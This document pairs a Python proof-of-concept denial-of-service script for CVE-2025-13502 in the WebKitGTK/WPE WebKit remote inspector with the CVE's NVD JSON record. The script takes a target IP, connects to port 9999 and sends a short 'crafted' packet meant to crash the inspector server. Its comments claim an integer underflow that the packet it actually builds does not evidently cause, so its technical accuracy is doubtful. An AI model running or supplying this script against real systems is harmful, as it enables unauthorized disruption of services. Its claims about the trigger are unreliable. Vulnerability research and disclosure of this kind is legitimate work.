CVE-2025-13502

#!/usr/bin/env python3 # CVE-2025-13502 PoC - WebKitGTK/WPE WebKit Remote Inspector DoS # This PoC demonstrates sending a crafted payload to trigger integer underflow # and out-of-bounds read in the GLib remote inspector server import socket import struct import sys def create_crafted_payload(): """ Create a crafted payload that triggers integer underflow in WebKit remote inspector protocol handler. The vulnerability occurs when processing length/offset fields in inspector protocol messages, causing negative values that lead to out-of-bounds memory access. """ # Protocol message header structure # Format: message_type (4 bytes) + length (4 bytes) + payload # Message type for a protocol command message_type = 0x00000001 # Crafted length field that will cause integer underflow # When processed, this value leads to negative offset calculation crafted_length = 0x00000001 # Malformed payload data # This triggers the vulnerability when combined with crafted length payload = b'\x00\x00\x00\x00\xff\xff\xff\xff' # Construct the full message header = struct.pack('<II', message_type, crafted_length) return header + payload def send_payload(target_host, target_port=9999): """ Send the crafted payload to the WebKit remote inspector server. Default port for WebKit remote inspector is typically 9999. """ try: print(f"[*] Connecting to {target_host}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) payload = create_crafted_payload() print(f"[*] Sending crafted payload ({len(payload)} bytes)") sock.send(payload) # Wait for response (may cause crash on vulnerable versions) try: response = sock.recv(1024) print(f"[*] Received response: {response.hex()}") except socket.timeout: print("[*] No response received (target may have crashed)") sock.close() return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-13502-poc.py <target_ip>") print("Example: python3 cve-2025-13502-poc.py 192.168.1.100") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 9999 print("=" * 60) print("CVE-2025-13502 PoC - WebKitGTK/WPE WebKit DoS") print("=" * 60) send_payload(target, port)

{"cve": {"id": "CVE-2025-13502", "sourceIdentifier": "[email protected]", "published": "2025-11-25T08:15:51.917", "lastModified": "2026-04-20T16:16:40.110", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in WebKitGTK and WPE WebKit. This vulnerability allows an out-of-bounds read and integer underflow, leading to a UIProcess crash (DoS) via a crafted payload to the GLib remote inspector server."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2025:22789", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:22790", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:23110", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:23433", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:23434", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:23451", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:23452", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:23583", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:23591", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:23742", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2025:23743", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-13502", "source": "[email protected]"}, {"url": "https://bugs.webkit.org/show_bug.cgi?id=302218", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2416300", "source": "[email protected]"}]}}